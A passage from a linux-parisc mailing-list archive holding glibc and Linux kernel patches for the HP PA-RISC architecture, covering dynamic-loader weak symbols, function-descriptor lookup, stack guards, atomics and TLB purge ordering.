index e0d345f..a410425 100644
--- a/sysdeps/hppa/crtn.S
+++ b/sysdeps/hppa/crtn.S
@@ -38,27 +38,6 @@
 /* crtn.S puts function epilogues in the .init and .fini sections
    corresponding to the prologues in crti.S. */
 
-/* Note that we cannot have a weak undefined __gmon_start__, because
-   that would require this to be PIC, and the linker is currently not
-   able to generate a proper procedure descriptor for _init.  Sad but
-   true.  Anyway, HPPA is one of those horrible architectures where
-   making the comparison and indirect call is quite expensive (see the
-   comment in sysdeps/generic/initfini.c). */
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
 	.section .init, "ax", @progbits
 	ldw	-84(%sp),%rp
 	copy	%r4,%r19
diff --git a/sysdeps/hppa/dl-lookupcfg.h b/sysdeps/hppa/dl-lookupcfg.h
index c36928c..dea1809 100644
--- a/sysdeps/hppa/dl-lookupcfg.h
+++ b/sysdeps/hppa/dl-lookupcfg.h
@@ -75,7 +75,9 @@ void attribute_hidden _dl_unmap (struct link_map *map);
 
 /* Construct a fixup value from the address and linkmap */
 #define DL_FIXUP_MAKE_VALUE(map, addr) \
-   ((struct fdesc) { (addr), (map)->l_info[DT_PLTGOT]->d_un.d_ptr })
+  (map) ? ((struct fdesc) { (addr), (map)->l_info[DT_PLTGOT]->d_un.d_ptr }) \
+	: ((struct fdesc) { 0, 0 })
+
 
 /* Extract the code address from a fixup value */
 #define DL_FIXUP_VALUE_CODE_ADDR(value) ((value).ip)
diff --git a/sysdeps/hppa/dl-trampoline.S b/sysdeps/hppa/dl-trampoline.S
index 22f484a..64f0966 100644
--- a/sysdeps/hppa/dl-trampoline.S
+++ b/sysdeps/hppa/dl-trampoline.S
@@ -82,6 +82,11 @@ _dl_runtime_resolve:
 	bl	_dl_fixup,%rp
 	copy	%r21,%r19		/* set fixup func ltp */
 
+	/* Sometimes a final executable may attempt to call an undefined
+	   weak function (e.g., __gmon_start__).  Return if the function
+	   was not resolved by _dl_fixup */
+	comib,=	0,%r28,1f
+
 	/* Load up the returned func descriptor */
 	copy	%r28, %r22
 	copy	%r29, %r19
@@ -107,6 +112,13 @@ _dl_runtime_resolve:
 	/* Jump to new function, but return to previous function */
 	bv	%r0(%r22)
 	ldw	-20(%sp),%rp
+
+1:
+	/* Return to previous function */
+	ldw	-148(%sp),%rp
+	bv	%r0(%rp)
+	ldo	-128(%sp),%sp
+
         .EXIT
         .PROCEND
 	cfi_endproc

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=submitted-dladdr.diff
Content-Type: application/octet-stream;
	name="submitted-dladdr.diff"
Content-Transfer-Encoding: 7bit

2016-05-14  John David Anglin  <danglin@gcc.gnu.org>

	[BZ 20098]
	* sysdeps/hppa/dl-fptr.c (_dl_read_access_allowed): New.
	(_dl_lookup_address): Return address if it is not consistent with
	being a linker defined function pointer.  Likewise, return address
	if address and function descriptor addresses are not accessible.
	
diff --git a/sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c
index 083242b..af0c5a1 100644
--- a/sysdeps/hppa/dl-fptr.c
+++ b/sysdeps/hppa/dl-fptr.c
@@ -331,22 +331,45 @@ elf_machine_resolve (void)
   return addr;
 }
 
+static inline int
+_dl_read_access_allowed (unsigned int *addr)
+{
+  int result;
+
+  asm ("proberi	(%1),3,%0" : "=r" (result) : "r" (addr) : );
+
+  return result;
+}
+
 ElfW(Addr)
 _dl_lookup_address (const void *address)
 {
   ElfW(Addr) addr = (ElfW(Addr)) address;
   unsigned int *desc, *gptr;
 
-  /* Check for special cases.  */
-  if ((int) addr == -1
-      || (unsigned int) addr < 4096
-      || !((unsigned int) addr & 2))
+  /* Return ADDR if the least-significant two bits of ADDR are not consistent
+     with ADDR being a linker defined function pointer.  The normal value for
+     a code address in a backtrace is 3.  */
+  if (((unsigned int) addr & 3) != 2)
+    return addr;
+
+  /* Handle special case where ADDR points to page 0.  */
+  if ((unsigned int) addr < 4096)
     return addr;
 
   /* Clear least-significant two bits from descriptor address.  */
   desc = (unsigned int *) ((unsigned int) addr & ~3);
+  if (!_dl_read_access_allowed (desc))
+    return addr;
+
+  /* Load first word of candidate descriptor.  It should be a pointer
+     with word alignment and point to memory that can be read.  */
+  gptr = (unsigned int *) desc[0];
+  if (((unsigned int) gptr & 3) != 0
+      || !_dl_read_access_allowed (gptr))
+    return addr;
 
-  /* Check if descriptor requires resolution.  The following trampoline is
+  /* See if descriptor requires resolution.  The following trampoline is
      used in each global offset table for function resolution:
 
 		ldw 0(r20),r22
@@ -358,7 +381,6 @@ _dl_lookup_address (const void *address)
 		.word "_dl_runtime_resolve ltp"
      got:	.word _DYNAMIC
 		.word "struct link map address" */
-  gptr = (unsigned int *) desc[0];
   if (gptr[0] == 0xea9f1fdd			/* b,l .-12,r20     */
       && gptr[1] == 0xd6801c1e			/* depwi 0,31,2,r20 */
       && (ElfW(Addr)) gptr[2] == elf_machine_resolve ())

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=local-stack-grows-up.diff
Content-Type: application/octet-stream;
	name="local-stack-grows-up.diff"
Content-Transfer-Encoding: 7bit

--- a/nptl/allocatestack.c
+++ b/nptl/allocatestack.c
@@ -683,9 +692,13 @@
 			prot) != 0)
 	    goto mprot_error;
 #elif _STACK_GROWS_UP
-	  if (mprotect ((char *) pd - pd->guardsize,
-			pd->guardsize - guardsize, prot) != 0)
-	    goto mprot_error;
+	  char *new_guard = (char *) (((uintptr_t) pd - guardsize) & ~pagesize_m1);
+	  char *old_guard = (char *) (((uintptr_t) pd - pd->guardsize) & ~pagesize_m1);
+	  /* The guard size difference might be > 0, but once rounded
+	     to the nearest page the size difference might be zero.  */
+	  if (old_guard - new_guard > 0)
+	    if (mprotect (old_guard, new_guard - old_guard, prot) != 0)
+	      goto mprot_error;
 #endif
 
 	  pd->guardsize = guardsize;

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=local-shmlba.diff
Content-Type: application/octet-stream;
	name="local-shmlba.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
===================================================================
--- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2013-01-09 19:28:48.000000000 -0500
+++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-09 21:08:06.516202583 -0400
@@ -36,7 +36,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
 
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
+#define SHMLBA		(__getpagesize ())
 
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=local-inlining.diff
Content-Type: application/octet-stream;
	name="local-inlining.diff"
Content-Transfer-Encoding: 7bit

Increase the maximal overall growth of the compilation unit caused
by inlining for dl-reloc.c on hppa. This remove some warnings and 
strangely it reduces the size of the final binary.

---
 sysdeps/hppa/Makefile |    1 +
 1 file changed, 1 insertion(+)

--- a/sysdeps/hppa/Makefile
+++ b/sysdeps/hppa/Makefile
@@ -23,6 +23,7 @@
 
 ifeq ($(subdir),elf)
 CFLAGS-rtld.c += -mdisable-fpregs
+CFLAGS-dl-reloc.c += --param inline-unit-growth=100
 sysdep-dl-routines += dl-symaddr dl-fptr
 # dl-fptr.c needs a complete rewrite to fix ISO C aliasing violations.
 CFLAGS-dl-fptr.c = -Wno-error

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=local-fptr-table-size.diff
Content-Type: application/octet-stream;
	name="local-fptr-table-size.diff"
Content-Transfer-Encoding: 7bit

Index: glibc-2.21/sysdeps/hppa/dl-fptr.c
===================================================================
--- glibc-2.21.orig/sysdeps/hppa/dl-fptr.c
+++ glibc-2.21/sysdeps/hppa/dl-fptr.c
@@ -28,6 +28,7 @@
 #include <dl-fptr.h>
 #include <dl-unmap-segments.h>
 #include <atomic.h>
+#include <libc-internal.h>
 
 #ifndef ELF_MACHINE_BOOT_FPTR_TABLE_LEN
 /* ELF_MACHINE_BOOT_FPTR_TABLE_LEN should be greater than the number of
@@ -181,24 +182,29 @@
 static inline ElfW(Addr) * __attribute__ ((always_inline))
 make_fptr_table (struct link_map *map)
 {
-  const ElfW(Sym) *symtab
-    = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
+  const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
   const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);
   ElfW(Addr) *fptr_table;
   size_t size;
   size_t len;
+  const ElfW(Sym) *symtabend;
 
-  /* XXX Apparently the only way to find out the size of the dynamic
-     symbol section is to assume that the string table follows right
-     afterwards...  */
-  len = ((strtab - (char *) symtab)
+  /* Determine the end of the dynamic symbol table using the hash.  */
+  if (map->l_info[DT_HASH] != NULL)
+    symtabend = (symtab + ((Elf_Symndx *) D_PTR (map, l_info[DT_HASH]))[1]);
+  else
+  /* There is no direct way to determine the number of symbols in the
+     dynamic symbol table and no hash table is present.  The ELF
+     binary is ill-formed but what shall we do?  Use the beginning of
+     the string table which generally follows the symbol table.  */
+    symtabend = (const ElfW(Sym) *) strtab;
+
+  len = (((char *) symtabend - (char *) symtab)
 	 / map->l_info[DT_SYMENT]->d_un.d_val);
-  size = ((len * sizeof (fptr_table[0]) + GLRO(dl_pagesize) - 1)
-	  & -GLRO(dl_pagesize));
-  /* XXX We don't support here in the moment systems without MAP_ANON.
-     There probably are none for IA-64.  In case this is proven wrong
-     we will have to open /dev/null here and use the file descriptor
-     instead of the hard-coded -1.  */
+  size = ALIGN_UP (len * sizeof (fptr_table[0]), GLRO(dl_pagesize));
+
+  /* We don't support systems without MAP_ANON.  We avoid using malloc
+     because this might get called before malloc is setup.  */
   fptr_table = __mmap (NULL, size,
 		       PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE,
 		       -1, 0);

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=local-elf-make-cflags.diff
Content-Type: application/octet-stream;
	name="local-elf-make-cflags.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.18/elf/Makefile
===================================================================
--- eglibc-2.18.orig/elf/Makefile	2014-02-25 20:47:20.859469989 -0500
+++ eglibc-2.18/elf/Makefile	2014-02-25 20:47:20.769469646 -0500
@@ -424,7 +424,7 @@
 libof-ldconfig = ldconfig
 CFLAGS-dl-cache.c = $(SYSCONF-FLAGS)
 CFLAGS-cache.c = $(SYSCONF-FLAGS)
-CFLAGS-rtld.c = $(SYSCONF-FLAGS)
+CFLAGS-rtld.c += $(SYSCONF-FLAGS)
 
 cpp-srcs-left := $(all-rtld-routines:=.os)
 lib := rtld

--Apple-Mail-30-163483931
Content-Disposition: attachment;
	filename=cvs-atomic-machine.diff
Content-Type: application/octet-stream;
	name="cvs-atomic-machine.diff"
Content-Transfer-Encoding: 7bit

2016-09-22  John David Anglin  <dave.anglin@bell.net>

	* sysdeps/unix/sysv/linux/hppa/atomic-machine.h: Don't include
	abort-instr.h.
	(EFAULT): Remove conditional define.
	(ENOSYS): Likewise.
	(atomic_compare_and_exchange_val_acq): Use instruction nullification
	instead of conditional branch instructions.

--- a/sysdeps/unix/sysv/linux/hppa/atomic-machine.h
+++ b/sysdeps/unix/sysv/linux/hppa/atomic-machine.h
@@ -17,13 +17,6 @@
    <http://www.gnu.org/licenses/>.  */
 
 #include <stdint.h> /*  Required for type definitions e.g. uint8_t.  */
-#include <abort-instr.h> /*  Required for ABORT_INSTRUCTIUON.  */
-
-/* We need EFAULT, ENONSYS */
-#if !defined EFAULT && !defined ENOSYS
-#define EFAULT	14
-#define ENOSYS	251
-#endif
 
 #ifndef _ATOMIC_MACHINE_H
 #define _ATOMIC_MACHINE_H	1
@@ -62,7 +55,7 @@ typedef uintmax_t uatomic_max_t;
 #define _ASM_EDEADLOCK "-45"
 
 /* The only basic operation needed is compare and exchange.  The mem
-   pointer must be word aligned.  */
+   pointer must be word aligned.  We no longer loop on deadlock.  */
 #define atomic_compare_and_exchange_val_acq(mem, newval, oldval)	\
   ({									\
      register long lws_errno asm("r21");				\
@@ -74,20 +67,15 @@ typedef uintmax_t uatomic_max_t;
 	"0:					\n\t"			\
 	"ble	" _LWS "(%%sr2, %%r0)		\n\t"			\
 	"ldi	" _LWS_CAS ", %%r20		\n\t"			\
-	"ldi	" _ASM_EAGAIN ", %%r20		\n\t"			\
-	"cmpb,=,n %%r20, %%r21, 0b		\n\t"			\
-	"nop					\n\t"			\
-	"ldi	" _ASM_EDEADLOCK ", %%r20	\n\t"			\
-	"cmpb,=,n %%r20, %%r21, 0b		\n\t"			\
-	"nop					\n\t"			\
+	"cmpiclr,<> " _ASM_EAGAIN ", %%r21, %%r0\n\t"			\
+	"b,n 0b					\n\t"			\
+	"cmpclr,= %%r0, %%r21, %%r0		\n\t"			\
+	"iitlbp %%r0,(%%sr0, %%r0)		\n\t"			\
 	: "=r" (lws_ret), "=r" (lws_errno)				\
 	: "r" (lws_mem), "r" (lws_old), "r" (lws_new)			\
 	: _LWS_CLOBBER							\
      );									\
 									\
-     if (lws_errno == -EFAULT || lws_errno == -ENOSYS)			\
-	ABORT_INSTRUCTION;						\
-									\
      (__typeof (oldval)) lws_ret;					\
    })
 

--Apple-Mail-30-163483931--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Purge TLB before setting PTE
Date: Tue, 6 Dec 2016 21:47:04 -0500
Lines: 102
Approved: news@gmane.org
Message-ID: <2417DC67-24FE-45CF-BFF3-8818ABD7B415@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-25-260451527
X-Trace: blaine.gmane.org 1481078828 10146 195.159.176.226 (7 Dec 2016 02:47:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 7 Dec 2016 02:47:08 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 07 03:47:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cESG8-0002De-Fu
	for glpp-linux-parisc@m.gmane.org; Wed, 07 Dec 2016 03:47:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753149AbcLGCrH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 6 Dec 2016 21:47:07 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:39679 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751762AbcLGCrG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 6 Dec 2016 21:47:06 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161207024705.KBOK17527.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 6 Dec 2016 21:47:05 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm02.bell.net with ESMTP
          id <20161207024705.YQNZ3859.torspm02.bell.net@[192.168.2.10]>;
          Tue, 6 Dec 2016 21:47:05 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.58477829.01BD,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27096
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27096>


--Apple-Mail-25-260451527
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The attached change interchanges the order of purging the TLB and =
setting the corresponding page
table entry.  TLB purges are strongly ordered.  It occurred to me one =
night that setting the PTE first
might have subtle ordering issues on SMP machines and cause random =
memory corruption.

A TLB lock guards the insertion of user TLB entries.  So after the TLB =
is purged, a new entry can't
be inserted until the lock is released.  This ensures that the new PTE =
value is used when the lock
is released.

Since making this change, no random segmentation faults have been =
observed on the Debian hppa
buildd servers.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>



--Apple-Mail-25-260451527
Content-Disposition: attachment;
	filename=pgtable.h.d.txt
Content-Type: text/plain;
	name="pgtable.h.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/pgtable.h =
b/arch/parisc/include/asm/pgtable.h
index c2c43f7..3a4ed9f 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -65,9 +65,9 @@ static inline void purge_tlb_entries(struct mm_struct =
*mm, unsigned long addr)
 		unsigned long flags;				\
 		spin_lock_irqsave(&pa_tlb_lock, flags);		\
 		old_pte =3D *ptep;				\
-		set_pte(ptep, pteval);				\
 		if (pte_inserted(old_pte))			\
 			purge_tlb_entries(mm, addr);		\
+		set_pte(ptep, pteval);				\
 		spin_unlock_irqrestore(&pa_tlb_lock, flags);	\
 	} while (0)
=20
@@ -478,8 +478,8 @@ static inline int ptep_test_and_clear_young(struct =
vm_area_struct *vma, unsigned
 		spin_unlock_irqrestore(&pa_tlb_lock, flags);
 		return 0;
 	}
-	set_pte(ptep, pte_mkold(pte));
 	purge_tlb_entries(vma->vm_mm, addr);
+	set_pte(ptep, pte_mkold(pte));
 	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 	return 1;
 }
@@ -492,9 +492,9 @@ static inline pte_t ptep_get_and_clear(struct =
mm_struct *mm, unsigned long addr,
=20
 	spin_lock_irqsave(&pa_tlb_lock, flags);
 	old_pte =3D *ptep;
-	set_pte(ptep, __pte(0));
 	if (pte_inserted(old_pte))
 		purge_tlb_entries(mm, addr);
+	set_pte(ptep, __pte(0));
 	spin_unlock_irqrestore(&pa_tlb_lock, flags);
=20
 	return old_pte;
@@ -504,8 +504,8 @@ static inline void ptep_set_wrprotect(struct =
mm_struct *mm, unsigned long addr,
 {
 	unsigned long flags;
 	spin_lock_irqsave(&pa_tlb_lock, flags);
-	set_pte(ptep, pte_wrprotect(*ptep));
 	purge_tlb_entries(mm, addr);
+	set_pte(ptep, pte_wrprotect(*ptep));
 	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
=20

--Apple-Mail-25-260451527
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-25-260451527--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove unnecessary TLB purges from flush_dcache_page_asm and flush_icache_page_asm
Date: Tue, 6 Dec 2016 22:02:01 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <842D2205-7F61-455C-ABA0-51C00DB199B2@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-46-261348559
X-Trace: blaine.gmane.org 1481079727 30841 195.159.176.226 (7 Dec 2016 03:02:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 7 Dec 2016 03:02:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 07 04:02:03 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cESUa-0006eh-L2
	for glpp-linux-parisc@m.gmane.org; Wed, 07 Dec 2016 04:02:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751711AbcLGDCE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 6 Dec 2016 22:02:04 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:57187 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751064AbcLGDCD (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 6 Dec 2016 22:02:03 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161207030202.KIXX17527.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 6 Dec 2016 22:02:02 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm02.bell.net with ESMTP
          id <20161207030202.YTJT3859.torspm02.bell.net@[192.168.2.10]>;
          Tue, 6 Dec 2016 22:02:02 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.58477BAA.01FA,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27097
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27097>


--Apple-Mail-46-261348559
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

We have four routines in pacache.S that use temporary alias pages: =
copy_user_page_asm(), clear_user_page_asm(),
flush_dcache_page_asm() and flush_icache_page_asm().  =
copy_user_page_asm() and clear_user_page_asm() don't
purge the TLB entry used for the operation.  flush_dcache_page_asm() and =
flush_icache_page_asm do purge the
entry.

Presumably, this was thought to optimize TLB use.  However, the =
operation is quite heavy weight on PA 1.X processors
as we need to take the TLB lock and a TLB broadcast is sent to all =
processors.

This patch removes the purges from flush_dcache_page_asm() and =
flush_icache_page_asm.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>



--Apple-Mail-46-261348559
Content-Disposition: attachment;
	filename=pacache.S.d1.txt
Content-Type: text/plain;
	name="pacache.S.d1.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index b743a80..41a923d 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -886,19 +892,10 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		r31(%r28)
 	fdc,m		r31(%r28)
 	fdc,m		r31(%r28)
-	cmpb,COND(<<)		%r28, %r25,1b
+	cmpb,COND(<<)	%r28, %r25,1b
 	fdc,m		r31(%r28)
 
 	sync
-
-#ifdef CONFIG_PA20
-	pdtlb,l		0(%r25)
-#else
-	tlb_lock	%r20,%r21,%r22
-	pdtlb		0(%r25)
-	tlb_unlock	%r20,%r21,%r22
-#endif
-
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -968,15 +970,6 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r31(%sr4,%r28)
 
 	sync
-
-#ifdef CONFIG_PA20
-	pitlb,l         %r0(%sr4,%r25)
-#else
-	tlb_lock        %r20,%r21,%r22
-	pitlb           (%sr4,%r25)
-	tlb_unlock      %r20,%r21,%r22
-#endif

From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix TLB related boot crash with PA8000-PA8700 CPUs
Date: Wed, 7 Dec 2016 21:52:40 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20161207205240.GA5917@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1481143974 9261 195.159.176.226 (7 Dec 2016 20:52:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 7 Dec 2016 20:52:54 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 07 21:52:50 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cEjCq-0001k7-MV
	for glpp-linux-parisc@m.gmane.org; Wed, 07 Dec 2016 21:52:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932614AbcLGUww (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 7 Dec 2016 15:52:52 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:56319 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932536AbcLGUwv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 7 Dec 2016 15:52:51 -0500
Original-Received: from ls3530 ([92.203.57.191]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LmbVT-1cot2G2ryt-00aBTg; Wed, 07
 Dec 2016 21:52:43 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:5w2Uo+6UF/Pl5d9g8ie4+y5b0svHR3i558CYzClUhPKAo5hIv2I
 3GBPnuH4IPBMyMrQEQiVMwhQ++KLSybUWd+hn7Wxlbmn3SqZblzznKCJC/BIHPOpufkbmHV
 Bnjben7wsNaTo6dy0lIIIRz4XsE+H1uibTdqa3gKJrH4LgDXtS0ekrw87t5dfb2dDBIv5mi
 PemrkEu1OW5QTme588zrw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:d3fgzfncjV4=:iVVanGqFRxTASkcpepkN0O
 Croy9QYe2T6ShWjRo6dqg+mAnn2141gc9r7z0l6hOzZ91a5SeZKDvAl2NYyZHH7eyHKI0Icup
 2EwPc8SNJEblaPct9GXoI5sHctuTJ7+TacX7vxPJ+RU+WXZ2d5efeOs1mImfkMzdjlQEh52pj
 nisM3ZJKUz10eiNp85Joz7/Ocnvgx/wcT+TYNpepwWuG53RnxFCqzgkIRmErX1pxxKqE/uhuk
 aS8tmgBXwxu7KjnkO4cHfsRb8xQPriRK3g/RRsvbDwrBzstLEZ/cHrHP6B4DmEj5kMUJYKbo9
 x08S+uoKSKu9igXSCz9uiAJEK0BUh4jFukGQ8eg9deYQEtenEHsaDFQF20Nz1eqiUcGx2uSDE
 o1HpPHu+1OL8zE/3RJvnpmV7l8JEmVm24rl3tP7R4XDkV6RkM/XIbQzRMzNqF9Ze+Scq+CgG9
 wXIRiwe+L8SAzOxe9DhqDHUSo5LdLhDvY1H8d+SxGTiVZygvyEq2Vl0LKefGZeXObGBOkHeFF
 QdkY9j/BeLGUt/C1ABDf6N+BOLlZIxLO2pcl52P1790Pg2mlhcJ5G6DgIDMV/ZsSvdZd2lSAQ
 ZB09cXX05VdBTm22V8YxRgjb1V57vGG3C6RN7VNRD58aHAHDGWhneCG0vvdToXZcPWFZr9aKC
 VthO3hpFLgsdV6D6J9EZGIRpuOlq2CUtZz1Ba0sRFUQpW8yBVD37CLf/E9GGddFuWWPtQ+6GV
 8fLfBEVpecQMoMDpTQLO9Dqs2UFZ3RqVok4t7fcVbCl1Z9cgNsM8QIMIgnY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27098>

Machines with PA8000-PA8700 CPUs crash during startup while we measure
and calculate a good threshold for the TLB flush.

Avoid this crash by simply skipping the test until we figure out what
really triggers the crash.

Cc: <stable@vger.kernel.org> # v3.18+
Signed-off-by: Helge Deller <deller@gmx.de>

